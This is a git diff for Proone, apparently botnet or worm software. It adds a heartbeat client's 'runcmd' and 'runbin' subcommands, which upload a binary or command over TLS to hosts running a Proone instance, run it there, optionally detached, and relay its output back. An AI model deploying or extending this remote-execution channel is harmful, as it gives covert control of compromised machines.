aboutsummaryrefslogtreecommitdiff
path: root/src
diff options
context:
space:
mode:
Diffstat (limited to 'src')
-rw-r--r--src/htbt.c188
-rw-r--r--src/proone-htbtclient.c562
-rw-r--r--src/proone-test_proto.c12
-rw-r--r--src/protocol.c6
-rw-r--r--src/protocol.h3
5 files changed, 629 insertions, 142 deletions
diff --git a/src/htbt.c b/src/htbt.c
index 87cc852..2081c7f 100644
--- a/src/htbt.c
+++ b/src/htbt.c
@@ -368,12 +368,13 @@ static prne_htbt_status_code_t htbt_relay_child (
pfd[2].events = 0;
}
- pfd[3].events = 0;
- pfd[4].events = 0;
- if (ctx->iobuf[1].len == 0) {
- if (pfd[3 + out_p].fd < 0) {
- out_p = (out_p + 1) % 2;
- }
+ if (ctx->iobuf[1].len == 0 && sh[1].len == 0) {
+ pfd[3].events = pfd[4].events = POLLIN;
+ }
+ else if (ctx->iobuf[1].len > 0) {
+ pfd[3].events = pfd[4].events = 0;
+ }
+ else if (sh[1].len) {
pfd[3 + out_p].events = POLLIN;
}
@@ -399,44 +400,6 @@ static prne_htbt_status_code_t htbt_relay_child (
}
// Handle events
- if (!sh[0].fin && sh[0].len == 0) {
- do {
- if (prne_htbt_dser_msg_head(
- ctx->iobuf[0].m,
- ctx->iobuf[0].len,
- &actual,
- &mh) != PRNE_HTBT_SER_RC_OK)
- {
- break;
- }
- consume = actual;
- if (mh.id != msg_id ||
- mh.is_rsp ||
- mh.op != PRNE_HTBT_OP_STDIO)
- {
- sh[0].fin = true;
- break;
- }
- if (prne_htbt_dser_stdio(
- ctx->iobuf[0].m + consume,
- ctx->iobuf[0].len - consume,
- &actual,
- sh + 0) != PRNE_HTBT_SER_RC_OK)
- {
- break;
- }
- consume += actual;
- prne_iobuf_shift(ctx->iobuf + 0, -consume);
- } while (false);
-
- if (sh[0].len == 0 && pfd[0].fd < 0) {
- // There's still pending stdin data and EOF.
- // This is proto err.
- ret = PRNE_HTBT_STATUS_PROTO_ERR;
- break;
- }
- }
-
if (pfd[0].revents) {
f_ret = ctx->read_f(
ctx->ioctx,
@@ -470,37 +433,21 @@ static prne_htbt_status_code_t htbt_relay_child (
}
else {
sh[1].len -= f_ret;
- if (sh[1].len == 0) {
- out_p = (out_p + 1) % 2;
- }
}
}
}
- consume = prne_op_min(ctx->iobuf[0].len, sh[0].len);
- if (pfd[2].fd < 0 && sh[0].len > 0) {
- // Stdin data coming in, but the child has already closed stdin
- prne_iobuf_shift(ctx->iobuf + 0, -consume);
- sh[0].len -= consume;
- }
- else if (pfd[2].revents) {
- f_ret = write(*c_in, ctx->iobuf[0].m, consume);
- if (f_ret > 0) {
- consume = f_ret;
+ if (ctx->iobuf[1].len == 0 && sh[1].len == 0) {
+ if (pfd[3].revents && pfd[4].revents) {
+ // round-robin stdout and stderr
+ out_p = (out_p + 1) % 2;
}
- else {
- pfd[2].fd = -1;
+ else if (pfd[3].revents) {
+ out_p = 0;
+ }
+ else if (pfd[4].revents) {
+ out_p = 1;
}
-
- prne_iobuf_shift(ctx->iobuf + 0, -consume);
- sh[0].len -= consume;
- }
-
- if (sh[0].fin && sh[0].len == 0 && pfd[2].fd >= 0) {
- // End of stdin stream
- close(*c_in);
- *c_in = -1;
- pfd[2].fd = -1;
}
if (pfd[3 + out_p].revents) {
@@ -548,6 +495,70 @@ static prne_htbt_status_code_t htbt_relay_child (
prne_iobuf_shift(ctx->iobuf + 1, f_ret);
}
}
+
+ if (!sh[0].fin && sh[0].len == 0) {
+ do {
+ if (prne_htbt_dser_msg_head(
+ ctx->iobuf[0].m,
+ ctx->iobuf[0].len,
+ &actual,
+ &mh) != PRNE_HTBT_SER_RC_OK)
+ {
+ break;
+ }
+ consume = actual;
+ if (mh.id != msg_id ||
+ mh.is_rsp ||
+ mh.op != PRNE_HTBT_OP_STDIO)
+ {
+ sh[0].fin = true;
+ break;
+ }
+ if (prne_htbt_dser_stdio(
+ ctx->iobuf[0].m + consume,
+ ctx->iobuf[0].len - consume,
+ &actual,
+ sh + 0) != PRNE_HTBT_SER_RC_OK)
+ {
+ break;
+ }
+ consume += actual;
+ prne_iobuf_shift(ctx->iobuf + 0, -consume);
+ } while (false);
+
+ if (sh[0].len == 0 && pfd[0].fd < 0) {
+ // There's still pending stdin data and EOF.
+ // This is proto err.
+ ret = PRNE_HTBT_STATUS_PROTO_ERR;
+ break;
+ }
+ }
+
+ consume = prne_op_min(ctx->iobuf[0].len, sh[0].len);
+ if (pfd[2].fd < 0 && sh[0].len > 0) {
+ // Stdin data coming in, but the child has already closed stdin
+ prne_iobuf_shift(ctx->iobuf + 0, -consume);
+ sh[0].len -= consume;
+ }
+ else if (pfd[2].revents) {
+ f_ret = write(*c_in, ctx->iobuf[0].m, consume);
+ if (f_ret > 0) {
+ consume = f_ret;
+ }
+ else {
+ pfd[2].fd = -1;
+ }
+
+ prne_iobuf_shift(ctx->iobuf + 0, -consume);
+ sh[0].len -= consume;
+ }
+
+ if (sh[0].fin && sh[0].len == 0 && pfd[2].fd >= 0) {
+ // End of stdin stream
+ close(*c_in);
+ *c_in = -1;
+ pfd[2].fd = -1;
+ }
}
prne_htbt_free_stdio(sh + 0);
@@ -871,6 +882,9 @@ static void htbt_slv_fab_frame (
prne_assert(req <= ctx->iobuf[1].size);
htbt_slv_consume_outbuf(ctx, req, ev);
+ if (!ctx->valid) {
+ return;
+ }
if (PRNE_VERBOSE >= PRNE_VL_DBG0) {
#if PRNE_DEBUG
@@ -1176,14 +1190,14 @@ static bool htbt_slv_srv_bin (
pfd.fd = ctx->fd[0];
pfd.events = POLLIN;
- while (bin_meta.bin_size > 0) {
+ while (bin_meta.bin_size > 0 || ctx->iobuf[0].len > 0) {
pth_event_free(ev, FALSE);
ev = pth_event(
PTH_EVENT_TIME,
prne_pth_tstimeout(HTBT_DL_TICK_TIMEOUT));
prne_assert(ev != NULL);
- if (ctx->iobuf[0].len == 0) {
+ if (bin_meta.bin_size > 0 && ctx->iobuf[0].avail > 0) {
f_ret = prne_pth_poll(&pfd, 1, -1, ev);
if (pth_event_status(ev) == PTH_STATUS_OCCURRED ||
f_ret == 0)
@@ -1196,27 +1210,35 @@ static bool htbt_slv_srv_bin (
if (pfd.revents) {
f_ret = ctx->read_f(
ctx->ioctx,
- ctx->iobuf[0].m,
- ctx->iobuf[0].avail);
+ ctx->iobuf[0].m + ctx->iobuf[0].len,
+ prne_op_min(bin_meta.bin_size, ctx->iobuf[0].avail));
if (f_ret <= 0) {
if (f_ret < 0) {
ctx->valid = false;
}
goto PROTO_ERR;
}
+ if (PRNE_VERBOSE >= PRNE_VL_DBG0) {
+ prne_dbgpf(
+ HTBT_NT_SLV"@%"PRIuPTR": < bin dl %d bytes.\n",
+ (uintptr_t)ctx,
+ f_ret);
+ }
prne_iobuf_shift(ctx->iobuf + 0, f_ret);
+ bin_meta.bin_size -= f_ret;
}
}
- actual = prne_op_min(bin_meta.bin_size, ctx->iobuf[0].len);
- // This blocks!
- f_ret = write(fd, ctx->iobuf[0].m, actual);
- prne_iobuf_shift(ctx->iobuf + 0, -actual);
- bin_meta.bin_size -= actual;
- if (f_ret < 0) {
- ret_status = PRNE_HTBT_STATUS_ERRNO;
- ret_errno = errno;
- goto SND_STATUS;
+ if (ctx->iobuf[0].len > 0) {
+ // This blocks!
+ f_ret = write(fd, ctx->iobuf[0].m, ctx->iobuf[0].len);
+ if (f_ret < 0) {
+ ret_status = PRNE_HTBT_STATUS_ERRNO;
+ ret_errno = errno;
+ ctx->skip += bin_meta.bin_size;
+ goto SND_STATUS;
+ }
+ prne_iobuf_shift(ctx->iobuf + 0, -f_ret);
}
}
close(fd);
@@ -1268,7 +1290,7 @@ SND_STATUS:
END:
ctx->skip = bin_meta.bin_size;
prne_htbt_free_bin_meta(&bin_meta);
- if (path[0] != 0) {
+ if (path != NULL && path[0] != 0) {
unlink(path);
}
prne_free(path);
diff --git a/src/proone-htbtclient.c b/src/proone-htbtclient.c
index de4d24e..1f855e0 100644
--- a/src/proone-htbtclient.c
+++ b/src/proone-htbtclient.c
@@ -1,5 +1,6 @@
/*
* No pipelining assumed.
+* Don't handle SIGPIPE.
*/
#include <stdint.h>
#include <inttypes.h>
@@ -14,8 +15,10 @@
#include <regex.h>
#include <termios.h>
#include <unistd.h>
+#include <fcntl.h>
#include <arpa/inet.h>
#include <sys/socket.h>
+#include <sys/stat.h>
#include <mbedtls/ssl.h>
#include <mbedtls/ctr_drbg.h>
@@ -86,6 +89,13 @@
"If only one of the IP addresses is specified, the other will be zero-filled,\n"\
"disabling the use of that IP version(as per RFC1122 abnd RFC4291).\n"\
"\n"
+#define RUNCMD_HELP_STR \
+"Run command on host running Proone instance.\n"\
+"Usage: %s [common options] runcmd [options] [--] <arg0> [arg1 ...]\n"\
+"\n"\
+"Options:\n"\
+" -d, --detach run detached(i.e., run as daemon)\n"\
+"\n"
enum sub_command {
SC_NONE,
@@ -111,7 +121,17 @@ struct {
bool version; // -V or --version used
bool tls_key_pw_arg; // true if tls_key_pw is passed via option
bool no_term; // true if terminal interaction is not permitted
- prne_htbt_hover_t hover_param;
+ union {
+ struct {
+ prne_htbt_hover_t f;
+ } hover;
+ struct {
+ char *bin_path;
+ prne_htbt_bin_meta_t bm;
+ bool detached;
+ } run;
+ } cmd_param;
+ void (*free_cmdparam_f)(void);
} prog_conf;
struct {
@@ -126,11 +146,19 @@ struct {
} ssl;
struct {
mbedtls_net_context ctx;
- prne_iobuf_t ib[2];
+ prne_iobuf_t ib;
} net;
struct {
yaml_emitter_t *emitter;
} yaml;
+ union {
+ struct {
+ prne_iobuf_t ib;
+ prne_htbt_status_t st;
+ bool has_status;
+ } run;
+ } cmd_st;
+ void (*free_cmdst_f)(void);
} prog_g;
static void print_help (const char *prog, const sub_command_t sc, FILE *out_f) {
@@ -141,12 +169,15 @@ static void print_help (const char *prog, const sub_command_t sc, FILE *out_f) {
case SC_HOVER:
fprintf(out_f, HOVER_HELP_STR, prog);
break;
+ case SC_RUNCMD:
+ fprintf(out_f, RUNCMD_HELP_STR, prog);
+ break;
+ // TODO
default: fprintf(out_f, MAIN_HELP_STR, prog, prog);
}
}
static void init_prog_g (void) {
- bool alloc_ret = true;
prne_memzero(&prog_g, sizeof(prog_g)); // so main() is recallable
mbedtls_ssl_config_init(&prog_g.ssl.conf);
@@ -158,33 +189,69 @@ static void init_prog_g (void) {
mbedtls_ssl_init(&prog_g.ssl.ctx);
mbedtls_net_init(&prog_g.net.ctx);
- prne_init_iobuf(prog_g.net.ib + 0);
- prne_init_iobuf(prog_g.net.ib + 1);
- alloc_ret &= prne_alloc_iobuf(
- prog_g.net.ib + 0,
- prne_op_max(PRNE_HTBT_PROTO_MIN_BUF, prne_getpagesize()));
- alloc_ret &= prne_alloc_iobuf(
- prog_g.net.ib + 1,
- prne_op_max(PRNE_HTBT_PROTO_MIN_BUF, prne_getpagesize()));
- if (!alloc_ret) {
+ prne_init_iobuf(&prog_g.net.ib);
+ if (!prne_alloc_iobuf(
+ &prog_g.net.ib,
+ prne_op_max(PRNE_HTBT_PROTO_MIN_BUF, prne_getpagesize())))
+ {
perror("prne_alloc_iobuf()");
abort();
}
}
+static void free_run_g (void) {
+ prne_free_iobuf(&prog_g.cmd_st.run.ib);
+ prne_htbt_free_status(&prog_g.cmd_st.run.st);
+}
+
+static void init_run_g (void) {
+ assert(prog_g.free_cmdst_f == NULL);
+ prne_init_iobuf(&prog_g.cmd_st.run.ib);
+ prne_htbt_init_status(&prog_g.cmd_st.run.st);
+ assert(prne_alloc_iobuf(&prog_g.cmd_st.run.ib, prne_getpagesize()));
+ prog_g.free_cmdst_f = free_run_g;
+}
+
static void deinit_prog_g (void) {
// TODO
+ if (prog_g.free_cmdst_f != NULL) {
+ prog_g.free_cmdst_f();
+ }
}
static void init_prog_conf (void) {
prne_memzero(&prog_conf, sizeof(prog_conf)); // so main() is recallable
-
prog_conf.remote_port = prne_dup_str(STRINGIFY_X(PRNE_HTBT_PROTO_PORT));
- prog_conf.hover_param.v4.port = prog_conf.hover_param.v6.port =
+ prog_conf.prne_vl = PRNE_VL_INFO;
+}
+
+static void free_hover_conf (void) {
+ prne_htbt_free_hover(&prog_conf.cmd_param.hover.f);
+}
+
+static void init_hover_conf (void) {
+ assert(prog_conf.free_cmdparam_f == NULL);
+ prne_htbt_init_hover(&prog_conf.cmd_param.hover.f);
+ prog_conf.cmd_param.hover.f.v4.port =
+ prog_conf.cmd_param.hover.f.v6.port =
PRNE_HTBT_PROTO_PORT;
+
+ prog_conf.free_cmdparam_f = free_hover_conf;
+}
+
+static void free_run_cmd (void) {
+ prne_htbt_free_bin_meta(&prog_conf.cmd_param.run.bm);
+}
+
+static void init_run_conf (void) {
+ prne_htbt_init_bin_meta(&prog_conf.cmd_param.run.bm);
+ prog_conf.free_cmdparam_f = free_run_cmd;
}
static void deinit_prog_conf (void) {
+ if (prog_conf.free_cmdparam_f != NULL) {
+ prog_conf.free_cmdparam_f();
+ }
prne_free(prog_conf.tls_ca);
prne_free(prog_conf.tls_cert);
prne_free(prog_conf.tls_key);
@@ -270,6 +337,7 @@ static int parse_args_hover (const int argc, char *const *args) {
if (!assert_host_arg()) {
return 2;
}
+ init_hover_conf();
while (true) {
f_ret = getopt_long(argc, args, "", lopts, &li);
@@ -280,7 +348,7 @@ static int parse_args_hover (const int argc, char *const *args) {
errno = 0;
if (inet_pton(AF_INET,
optarg,
- prog_conf.hover_param.v4.addr) == 0)
+ prog_conf.cmd_param.hover.f.v4.addr) == 0)
{
ipton_perror("--v4-addr");
return 2;
@@ -291,7 +359,7 @@ static int parse_args_hover (const int argc, char *const *args) {
errno = 0;
if (inet_pton(AF_INET6,
optarg,
- prog_conf.hover_param.v6.addr) == 0)
+ prog_conf.cmd_param.hover.f.v6.addr) == 0)
{
ipton_perror("--v6-addr");
return 2;
@@ -305,17 +373,18 @@ static int parse_args_hover (const int argc, char *const *args) {
p_invarg("--port");
return 2;
}
- prog_conf.hover_param.v4.port = prog_conf.hover_param.v6.port =
+ prog_conf.cmd_param.hover.f.v4.port =
+ prog_conf.cmd_param.hover.f.v6.port =
port;
}
else if (strcmp("v4-port", cur_lo->name) == 0) {
- if (!parse_port(optarg, &prog_conf.hover_param.v4.port)) {
+ if (!parse_port(optarg, &prog_conf.cmd_param.hover.f.v4.port)) {
p_invarg("--v4-port");
return 2;
}
}
else if (strcmp("v6-port", cur_lo->name) == 0) {
- if (!parse_port(optarg, &prog_conf.hover_param.v6.port)) {
+ if (!parse_port(optarg, &prog_conf.cmd_param.hover.f.v6.port)) {
p_invarg("--v6-port");
return 2;
}
@@ -337,19 +406,68 @@ static int parse_args_hover (const int argc, char *const *args) {
return 0;
}
-static int parse_args_runcmd (const int argc, char *const *args) {
+static int parse_args_run (const int argc, char *const *args, const bool bin) {
+ static const struct option lopts[] = {
+ { "detach", no_argument, 0, 0 },
+ { 0, 0, 0, 0 }
+ };
+ int li, f_ret;
+ const struct option *co;
+
if (!assert_host_arg()) {
return 2;
}
- // TODO
- return 0;
-}
+ init_run_conf();
+ init_run_g();
-static int parse_args_runbin (const int argc, char *const *args) {
- if (!assert_host_arg()) {
+ while (true) {
+ f_ret = getopt_long(argc, args, "+d", lopts, &li);
+ switch (f_ret) {
+ case 0:
+ co = (const struct option*)lopts + li;
+ if (strcmp("detach", co->name) == 0) {
+ prog_conf.cmd_param.run.detached = true;
+ }
+ else {
+ abort();
+ }
+ break;
+ case 'd':
+ prog_conf.cmd_param.run.detached = true;
+ break;
+ default:
+ goto LOOP_END;
+ }
+ }
+LOOP_END:
+ if (bin) {
+ if (argc <= optind) {
+ fprintf(stderr, "Path to BIN not specified.\n");
+ return 2;
+ }
+
+ prne_free(prog_conf.cmd_param.run.bin_path);
+ prog_conf.cmd_param.run.bin_path = prne_dup_str(args[optind]);
+ if (prog_conf.cmd_param.run.bin_path == NULL) {
+ perror("prne_dup_str()");
+ abort();
+ }
+
+ optind += 1;
+ }
+
+ if (!bin && argc - optind <= 0) {
+ fprintf(stderr, "No argument specified.\n");
return 2;
}
- // TODO
+ if (!prne_htbt_set_cmd(
+ &prog_conf.cmd_param.run.bm.cmd,
+ (const char**)args + optind))
+ {
+ perror("prne_htbt_set_cmd()");
+ abort();
+ }
+
return 0;
}
@@ -492,8 +610,8 @@ END_LOOP:
switch (prog_conf.cmd) {
case SC_HOSTINFO: ret = parse_args_hostinfo(argc, args); break;
case SC_HOVER: ret = parse_args_hover(argc, args); break;
- case SC_RUNCMD: ret = parse_args_runcmd(argc, args); break;
- case SC_RUNBIN: ret = parse_args_runbin(argc, args); break;
+ case SC_RUNCMD: ret = parse_args_run(argc, args, false); break;
+ case SC_RUNBIN: ret = parse_args_run(argc, args, true); break;
case SC_NYBIN: ret = parse_args_nybin(argc, args); break;
case SC_GETBIN: ret = parse_args_getbin(argc, args); break;
default: fprintf(stderr, "COMMAND not specified.\n");
@@ -860,10 +978,10 @@ static bool send_frame (const void *frame, prne_htbt_ser_ft ser_f) {
size_t actual;
prne_htbt_ser_rc_t rc;
- prne_iobuf_reset(prog_g.net.ib + 1);
+ prne_iobuf_reset(&prog_g.net.ib);
rc = ser_f(
- prog_g.net.ib[1].m,
- prog_g.net.ib[1].avail,
+ prog_g.net.ib.m,
+ prog_g.net.ib.avail,
&actual,
frame);
switch (rc) {
@@ -875,13 +993,13 @@ static bool send_frame (const void *frame, prne_htbt_ser_ft ser_f) {
fprintf(stderr, "prne_htbt_ser_ft(): %s\n", prne_htbt_serrc_tostr(rc));
return false;
}
- prne_iobuf_shift(prog_g.net.ib + 1, actual);
+ prne_iobuf_shift(&prog_g.net.ib, actual);
- while (prog_g.net.ib[1].len > 0) {
+ while (prog_g.net.ib.len > 0) {
f_ret = mbedtls_ssl_write(
&prog_g.ssl.ctx,
- prog_g.net.ib[1].m,
- prog_g.net.ib[1].len);
+ prog_g.net.ib.m,
+ prog_g.net.ib.len);
if (f_ret == 0) {
raise_proto_err("remote end shutdown read");
return false;
@@ -890,26 +1008,30 @@ static bool send_frame (const void *frame, prne_htbt_ser_ft ser_f) {
prne_mbedtls_perror(f_ret, "mbedtls_ssl_write()");
return false;
}
- prne_iobuf_shift(prog_g.net.ib + 1, -f_ret);
+ prne_iobuf_shift(&prog_g.net.ib, -f_ret);
}
return true;
}
+static bool send_mh (const prne_htbt_msg_head_t *mh) {
+ return send_frame(mh, (prne_htbt_ser_ft)prne_htbt_ser_msg_head);
+}
+
static bool recv_frame (void *frame, prne_htbt_dser_ft dser_f) {
size_t actual;
prne_htbt_ser_rc_t rc;
int f_ret;
while (true) {
- rc = dser_f(prog_g.net.ib[0].m, prog_g.net.ib[0].len, &actual, frame);
+ rc = dser_f(prog_g.net.ib.m, prog_g.net.ib.len, &actual, frame);
switch (rc) {
case PRNE_HTBT_SER_RC_OK:
- prne_iobuf_shift(prog_g.net.ib + 0, -actual);
+ prne_iobuf_shift(&prog_g.net.ib, -actual);
return true;
case PRNE_HTBT_SER_RC_MORE_BUF:
- assert(actual <= prog_g.net.ib[0].size);
+ assert(actual <= prog_g.net.ib.size);
break;
case PRNE_HTBT_SER_RC_ERRNO:
perror("dser_f()");
@@ -923,8 +1045,8 @@ static bool recv_frame (void *frame, prne_htbt_dser_ft dser_f) {
f_ret = mbedtls_ssl_read(
&prog_g.ssl.ctx,
- prog_g.net.ib[0].m + prog_g.net.ib[0].len,
- prog_g.net.ib[0].avail);
+ prog_g.net.ib.m + prog_g.net.ib.len,
+ actual);
if (f_ret == 0) {
raise_proto_err("remote end shutdown write");
return false;
@@ -933,7 +1055,7 @@ static bool recv_frame (void *frame, prne_htbt_dser_ft dser_f) {
prne_mbedtls_perror(f_ret, "mbedtls_ssl_read()");
return false;
}
- prne_iobuf_shift(prog_g.net.ib + 0, f_ret);
+ prne_iobuf_shift(&prog_g.net.ib, f_ret);
}
}
@@ -954,6 +1076,10 @@ static bool recv_mh (prne_htbt_msg_head_t *mh, const uint16_t *cor_id) {
return true;
}
+static bool recv_status (prne_htbt_status_t *st) {
+ return recv_frame(st, (prne_htbt_dser_ft)prne_htbt_dser_status);
+}
+
static void emit_status_frame (const prne_htbt_status_t *st) {
emit_scalar(YAML_STR_TAG, BODY_TAG_NAME);
@@ -1193,7 +1319,7 @@ static int cmdmain_hostinfo (void) {
goto END;
}
- if (!send_frame(&mh, (prne_htbt_ser_ft)prne_htbt_ser_msg_head)) {
+ if (!send_mh(&mh)) {
ret = 1;
goto END;
}
@@ -1213,7 +1339,7 @@ static int cmdmain_hostinfo (void) {
break;
case PRNE_HTBT_OP_STATUS:
ret = 1;
- if (recv_frame(&st, (prne_htbt_dser_ft)prne_htbt_dser_status)) {
+ if (recv_status(&st)) {
start_yaml();
emit_preemble("hostinfo", "status", NULL);
emit_status_frame(&st);
@@ -1240,7 +1366,7 @@ static void emit_hover_opts (void) {
emit_scalar(YAML_STR_TAG, "v4_addr");
if (inet_ntop(
AF_INET,
- prog_conf.hover_param.v4.addr,
+ prog_conf.cmd_param.hover.f.v4.addr,
addr_str,
sizeof(addr_str)) == NULL)
{
@@ -1249,11 +1375,14 @@ static void emit_hover_opts (void) {
}
emit_scalar(YAML_STR_TAG, addr_str);
emit_scalar(YAML_STR_TAG, "v4_port");
- emit_scalar_fmt(YAML_INT_TAG, "%"PRIu16, prog_conf.hover_param.v4.port);
+ emit_scalar_fmt(
+ YAML_INT_TAG,
+ "%"PRIu16,
+ prog_conf.cmd_param.hover.f.v4.port);
emit_scalar(YAML_STR_TAG, "v6_addr");
if (inet_ntop(
AF_INET6,
- prog_conf.hover_param.v6.addr,
+ prog_conf.cmd_param.hover.f.v6.addr,
addr_str,
sizeof(addr_str)) == NULL)
{
@@ -1262,10 +1391,337 @@ static void emit_hover_opts (void) {
}
emit_scalar(YAML_STR_TAG, addr_str);
emit_scalar(YAML_STR_TAG, "v6_port");
- emit_scalar_fmt(YAML_INT_TAG, "%"PRIu16, prog_conf.hover_param.v6.port);
+ emit_scalar_fmt(
+ YAML_INT_TAG,
+ "%"PRIu16,
+ prog_conf.cmd_param.hover.f.v6.port);
emit_mapping_end();
}
+static bool run_setup (const uint16_t msgid) {
+ bool ret = true;
+ int bin_fd = -1;
+ int f_ret;
+ struct stat fs;
+ void *f;
+ prne_htbt_ser_ft ser_f;
+ ssize_t io_ret;
+ prne_htbt_msg_head_t mh;
+
+ prne_htbt_init_msg_head(&mh);
+ mh.id = msgid;
+ mh.is_rsp = false;
+
+ if (prog_conf.cmd_param.run.bin_path != NULL) {
+ bin_fd = open(prog_conf.cmd_param.run.bin_path, O_RDONLY);
+ if (bin_fd < 0 || fstat(bin_fd, &fs) != 0) {
+ ret = false;
+ perror(prog_conf.cmd_param.run.bin_path);
+ goto END;
+ }
+ if (fs.st_size > PRNE_HTBT_BIN_LEN_MAX) {
+ errno = EFBIG;
+ ret = false;
+ perror(prog_conf.cmd_param.run.bin_path);
+ goto END;
+ }
+
+ prog_conf.cmd_param.run.bm.bin_size = (uint32_t)fs.st_size;
+ mh.op = PRNE_HTBT_OP_RUN_BIN;
+ f = &prog_conf.cmd_param.run.bm;
+ ser_f = (prne_htbt_ser_ft)prne_htbt_ser_bin_meta;
+ }
+ else {
+ mh.op = PRNE_HTBT_OP_RUN_CMD;
+ f = &prog_conf.cmd_param.run.bm.cmd;
+ ser_f = (prne_htbt_ser_ft)prne_htbt_ser_cmd;
+ fs.st_size = 0;
+ }
+
+ ret = send_mh(&mh) && send_frame(f, ser_f);
+ if (!ret) {
+ goto END;
+ }
+ prne_iobuf_reset(&prog_g.cmd_st.run.ib);
+ while (fs.st_size > 0 || prog_g.cmd_st.run.ib.len > 0) {
+ if (fs.st_size > 0 && prog_g.cmd_st.run.ib.avail > 0) {
+ io_ret = read(
+ bin_fd,
+ prog_g.cmd_st.run.ib.m + prog_g.cmd_st.run.ib.len,
+ prne_op_min((size_t)fs.st_size, prog_g.cmd_st.run.ib.avail));
+ if (io_ret == 0) {
+ ret = false;
+ fprintf(stderr, "Unexpected EOF whilst reading binary!\n");
+ goto END;
+ }
+ if (io_ret < 0) {
+ ret = false;
+ perror("read()");
+ goto END;
+ }
+
+ prne_iobuf_shift(&prog_g.cmd_st.run.ib, io_ret);
+ fs.st_size -= io_ret;
+ }
+
+ f_ret = mbedtls_ssl_write(
+ &prog_g.ssl.ctx,
+ prog_g.cmd_st.run.ib.m,
+ prog_g.cmd_st.run.ib.len);
+ if (f_ret == 0) {
+ ret = false;
+ raise_proto_err("remote end shutdown read");
+ goto END;
+ }
+ if (f_ret < 0) {
+ ret = false;
+ prne_mbedtls_perror(f_ret, "mbedtls_ssl_write()");
+ goto END;
+ }
+ if (prog_conf.prne_vl >= PRNE_VL_DBG0) {
+ fprintf(stderr, "run bin upload %d bytes.\n", f_ret);
+ }
+ prne_iobuf_shift(&prog_g.cmd_st.run.ib, -f_ret);
+ }
+
+END:
+ prne_close(bin_fd);
+ prne_htbt_free_msg_head(&mh);
+ return ret;
+}
+
+static bool run_sendstd (const uint16_t msgid, int *fd) {
+ bool ret = true;
+ prne_htbt_msg_head_t mh;
+ prne_htbt_stdio_t f;
+ ssize_t io_ret;
+
+ prne_htbt_init_msg_head(&mh);
+ prne_htbt_init_stdio(&f);
+ mh.id = msgid;
+ mh.is_rsp = false;
+ mh.op = PRNE_HTBT_OP_STDIO;
+
+ prne_iobuf_reset(&prog_g.cmd_st.run.ib);
+ io_ret = read(
+ *fd,
+ prog_g.cmd_st.run.ib.m,
+ prog_g.cmd_st.run.ib.avail);
+ if (io_ret < 0) {
+ ret = false;
+ perror("read()");
+ goto END;
+ }
+ if (io_ret == 0) {
+ *fd = -1;
+ f.fin = true;
+ ret =
+ send_mh(&mh) &&
+ send_frame(&f, (prne_htbt_ser_ft)prne_htbt_ser_stdio);
+ goto END;
+ }
+ prne_iobuf_shift(&prog_g.cmd_st.run.ib, io_ret);
+
+ f.len = io_ret;
+ ret =
+ send_mh(&mh) &&
+ send_frame(&f, (prne_htbt_ser_ft)prne_htbt_ser_stdio);
+ if (!ret) {
+ goto END;
+ }
+ while (prog_g.cmd_st.run.ib.len > 0) {
+ io_ret = mbedtls_ssl_write(
+ &prog_g.ssl.ctx,
+ prog_g.cmd_st.run.ib.m,
+ prog_g.cmd_st.run.ib.len);
+ if (io_ret == 0) {
+ ret = false;
+ raise_proto_err("remote end shutdown read");
+ goto END;
+ }
+ if (io_ret < 0) {
+ prne_mbedtls_perror((int)io_ret, "mbedtls_ssl_write()");
+ goto END;
+ }
+
+ prne_iobuf_shift(&prog_g.cmd_st.run.ib, -io_ret);
+ }
+
+END:
+ prne_htbt_free_msg_head(&mh);
+ prne_htbt_free_stdio(&f);
+ return ret;
+}
+
+static bool run_relay_stdout (prne_htbt_stdio_t *f) {
+ ssize_t io_ret;
+
+ prne_iobuf_reset(&prog_g.cmd_st.run.ib);
+ while (f->len > 0 || prog_g.cmd_st.run.ib.len > 0) {
+ if (f->len > 0 && prog_g.cmd_st.run.ib.avail > 0) {
+ io_ret = mbedtls_ssl_read(
+ &prog_g.ssl.ctx,
+ prog_g.cmd_st.run.ib.m + prog_g.cmd_st.run.ib.len,
+ prne_op_min(f->len, prog_g.cmd_st.run.ib.avail));
+ if (io_ret == 0) {
+ raise_proto_err("remote end shutdown write");
+ return false;
+ }
+ if (io_ret < 0) {
+ prne_mbedtls_perror(io_ret, "mbedtls_ssl_read()");
+ return false;
+ }
+
+ f->len -= io_ret;
+ prne_iobuf_shift(&prog_g.cmd_st.run.ib, io_ret);
+ }
+ if (prog_g.cmd_st.run.ib.len > 0) {
+ io_ret = write( // This is where the process will be killed on EPIPE
+ f->err ? STDERR_FILENO : STDOUT_FILENO,
+ prog_g.cmd_st.run.ib.m,
+ prog_g.cmd_st.run.ib.len);
+ assert(io_ret != 0);
+ if (io_ret < 0) {
+ perror("write()");
+ return false;
+ }
+
+ prne_iobuf_shift(&prog_g.cmd_st.run.ib, -io_ret);
+ }
+ }
+
+ return true;
+}
+
+static bool run_recvstd (const uint16_t msgid, int *fd) {
+ bool ret = true;
+ prne_htbt_msg_head_t mh;
+ prne_htbt_stdio_t f;
+
+ prne_htbt_init_msg_head(&mh);
+ prne_htbt_init_stdio(&f);
+
+ ret = recv_mh(&mh, &msgid);
+ if (!ret) {
+ goto END;
+ }
+ switch (mh.op) {
+ case PRNE_HTBT_OP_STATUS:
+ prog_g.cmd_st.run.has_status = ret = recv_status(&prog_g.cmd_st.run.st);
+ if (!ret) {
+ goto END;
+ }
+ break;
+ case PRNE_HTBT_OP_STDIO:
+ ret =
+ recv_frame(&f, (prne_htbt_dser_ft)prne_htbt_dser_stdio) &&
+ run_relay_stdout(&f);
+ if (!ret) {
+ goto END;
+ }
+ break;
+ default:
+ ret = false;
+ raise_proto_err("invalid response op %"PRIx8"\n", mh.op);
+ goto END;
+ }
+
+END:
+ prne_htbt_free_msg_head(&mh);
+ prne_htbt_free_stdio(&f);
+ return ret;
+}
+
+static bool run_relay (const uint16_t msgid) {
+ bool ret = true;
+ int f_ret;
+ struct pollfd pfd[2];
+
+ pfd[0].fd = STDIN_FILENO;
+ pfd[1].fd = prog_g.net.ctx.fd;
+
+ while (pfd[0].fd >= 0 || pfd[1].fd >= 0) {
+ pfd[0].events = pfd[1].events = POLLIN;
+
+ f_ret = poll(pfd, 2, -1);
+ if (f_ret < 0) {
+ ret = false;
+ perror("poll()");
+ break;
+ }
+ assert(f_ret != 0);
+
+ if (pfd[0].revents != 0 && !run_sendstd(msgid, &pfd[0].fd)) {
+ ret = false;
+ break;
+ }
+ if (pfd[1].revents != 0 && !run_recvstd(msgid, &pfd[1].fd)) {
+ ret = false;
+ break;
+ }
+ if (prog_g.cmd_st.run.has_status) {
+ break;
+ }
+ }
+
